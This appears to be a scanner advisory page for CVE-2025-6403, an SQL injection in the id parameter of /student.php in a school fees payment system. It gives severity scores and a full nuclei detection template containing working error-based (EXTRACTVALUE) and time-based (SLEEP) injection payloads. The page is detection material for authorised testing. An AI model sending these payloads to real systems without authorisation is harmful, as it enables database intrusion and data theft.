Code-Projects School Fees Payment System 1.0 - SQL Injection

criticalseverity

9.8CVSS score

2%likelihood of exploitation, next 30 days

81%of all CVEs are less likely

Readycheck to confirm it

A vulnerability was found in code-projects School Fees Payment System 1.0. It has been rated as critical. This issue affects some unknown processing of the file /student.php. The manipulation of the argument ID leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.

Impact

Remote attackers can execute arbitrary SQL commands, potentially leading to data theft or modification.

Fix

Update to the latest version.

How to confirm it

Send: GET /student.php?action=delete&id=1'+AND+EXTRACTVALUE(0x0a,CONCAT(0x0a,VERSION()))--+-
Positive when: status_code == 200 and contains(body, "XPATH syntax error")
Send: GET /student.php?action=delete&id=1'+AND+SLEEP(7)--+-
Positive when: duration >= 7 and status_code == 302 and contains(body, "login.php")

Run it with nuclei: nuclei -id CVE-2025-6403 -u <target>

The full check

id: CVE-2025-6403

info:
  name: Code-Projects School Fees Payment System 1.0 - SQL Injection
  author: hnd3884
  severity: critical
  description: |
    A vulnerability was found in code-projects School Fees Payment System 1.0. It has been rated as critical. This issue affects some unknown processing of the file /student.php. The manipulation of the argument ID leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.
  impact: |
    Remote attackers can execute arbitrary SQL commands, potentially leading to data theft or modification.
  remediation: |
    Update to the latest version.
  reference:
    - https://www.cve.org/CVERecord?id=CVE-2025-6403
    - https://avd.aquasec.com/nvd/2025/cve-2025-6403/
    - https://github.com/tuooo/CVE/issues/16
    - https://vuldb.com/?id.313335
    - https://code-projects.org/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-6403
    cwe-id: CWE-74
    epss-score: 0.02
    epss-percentile: 0.80917
    cpe: cpe:2.3:a:code-projects:school_fees_payment_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2025,sqli,code_projects,unauth,school_fees_payment_system,time-based,vkev,vuln

flow: http(1) || http(2)

http:
  - raw:
      - |
        GET /student.php?action=delete&id=1'+AND+EXTRACTVALUE(0x0a,CONCAT(0x0a,VERSION()))--+- HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "XPATH syntax error")'
        condition: and

  - raw:
      - |
        GET /student.php?action=delete&id=1'+AND+SLEEP(7)--+- HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 7'
          - 'status_code == 302'
          - 'contains(body, "login.php")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from